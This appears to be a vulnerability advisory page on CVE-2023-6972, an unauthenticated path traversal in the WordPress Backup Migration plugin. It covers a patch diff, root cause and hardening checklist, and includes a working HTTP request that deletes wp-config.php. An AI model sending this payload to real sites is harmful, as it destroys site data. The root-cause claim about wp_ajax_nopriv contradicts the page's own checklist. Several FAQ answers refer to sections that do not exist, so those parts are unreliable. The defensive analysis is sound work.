SECURITY ADVISORY / 01

CVE-2023-6972 Exploit & Vulnerability Analysis

Complete CVE-2023-6972 security advisory with proof of concept (PoC), exploit details, and patch analysis for backup-backup.

backup-backup products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker with network access to a WordPress site running Backup Migration ≤1.3.9 can delete arbitrary files by sending a single POST request to the backup restoration endpoint, weaponizing unsanitized HTTP headers to traverse the filesystem.

POST /wp-admin/admin-ajax.php?action=bmi_restore HTTP/1.1
Host: target.wordpress.test
Content-Type: application/json
Content-Length: 2

Content-Backups: ../../../../wp-config.php
Content-Name: test
Content-Manifest: test
Content-Bmitmp: test
Content-Identy: test

{}

The server processes the Content-Backups header value directly into file operations without path validation. Within seconds, wp-config.php is deleted from the filesystem. An attacker observing the HTTP response receives a 200 OK with success indicators; checking the target site moments later reveals the WordPress database connection broken and the site non-functional, confirming file deletion.

What the Patch Did

Before

if (file_exists($this->fileList)) @unlink($this->fileList);
if (file_exists($this->dbfile)) @unlink($this->dbfile);
if (file_exists($this->manifest)) @unlink($this->manifest);
if (file_exists($this->backups)) @unlink($this->backups);

After

if (file_exists($this->fileList)) $this->unlinksafe($this->fileList);
if (file_exists($this->dbfile)) $this->unlinksafe($this->dbfile);
if (file_exists($this->manifest)) $this->unlinksafe($this->manifest);
if (file_exists($this->backups)) $this->unlinksafe($this->backups);

The patch introduced a new unlinksafe() wrapper method that enforces two critical security controls before deletion: (1) canonicalization via realpath() to collapse path traversal sequences (../) into their real filesystem location, and (2) an explicit blocklist check that refuses to delete files matching patterns like wp-config.php. The fix replaces the bare @unlink() calls with a function that validates the target path is within the plugin's intended backup directory and is not a WordPress core configuration file.

Root Cause

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The vulnerability originates in the HTTP header parsing layer. When a client sends headers like Content-Backups: ../../../../wp-config.php, the plugin's restore handler extracts these header values and assigns them directly to instance variables ($this->backups, $this->manifest, etc.) without any sanitization or path normalization. These tainted values then flow into file_exists() checks and unlink() calls. Because unlink() and file_exists() resolve relative paths and ../ sequences against the current working directory (typically the WordPress root), an attacker can use directory traversal syntax to escape the intended backup directory and reach any file the web server process has permission to delete. No authentication is required because the bmi_restore AJAX action is registered without the wp_ajax_nopriv hook, making it accessible to unauthenticated users.

Why It Works

The load-bearing line is realpath(), which collapses all ../ and symbolic link sequences to return the true absolute path. If realpath() were removed and only the blocklist remained, an attacker could still exploit symlinks or ambiguous path encodings to bypass the simple string matching. Conversely, if realpath() existed but the blocklist did not, an attacker could still delete arbitrary files outside the WordPress directory (e.g., /etc/passwd on a shared host, or sibling WordPress installations). The engineer added both to implement defense-in-depth: realpath() handles the path traversal syntax, and the blocklist prevents attacks that might use valid (canonical) paths to critical files. The file:// prefix stripping in the header-sending code is a secondary control that limits information disclosure, reducing the attack surface for reconnaissance.

Hardening Checklist

  • Implement realpath() confinement before any file operation: All user-supplied or header-derived file paths must be passed through realpath(), and the returned value must be checked to ensure it begins with the intended base directory (e.g., strpos($realpath, $backup_dir) === 0). This is the canonical WordPress pattern used in core file handling.

  • Apply input filtering to HTTP headers at entry: Use sanitize_text_field() or a custom regex validator on all custom HTTP headers before storing them in instance variables. Headers like Content-Backups should match a whitelist pattern (e.g., alphanumeric + underscore only) or be rejected outright.

  • Use a blocklist for sensitive files: Maintain an explicit array of WordPress and system files that must never be deleted (wp-config.php, .htaccess, wp-load.php, etc.) and check the canonical path against this list before calling unlink().

  • Require authentication for file operations: Register AJAX restore actions with wp_ajax_ only (not wp_ajax_nopriv_) and enforce a capability check via current_user_can('manage_options') before processing any file deletion request.

  • Log and rate-limit file deletion attempts: Add error_log() or a transient-based rate limit to detect rapid deletion attempts, which are a hallmark of automated attacks exploiting this class of vulnerability.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2023-6972

Frequently asked questions about CVE-2023-6972

What is CVE-2023-6972?

CVE-2023-6972 is a security vulnerability identified in backup-backup. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2023-6972?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2023-6972. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2023-6972 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting backup-backup. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2023-6972?

CVE-2023-6972 affects backup-backup. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2023-6972?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for backup-backup.

What is the CVSS score for CVE-2023-6972?

The severity rating and CVSS scoring for CVE-2023-6972 affecting backup-backup is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.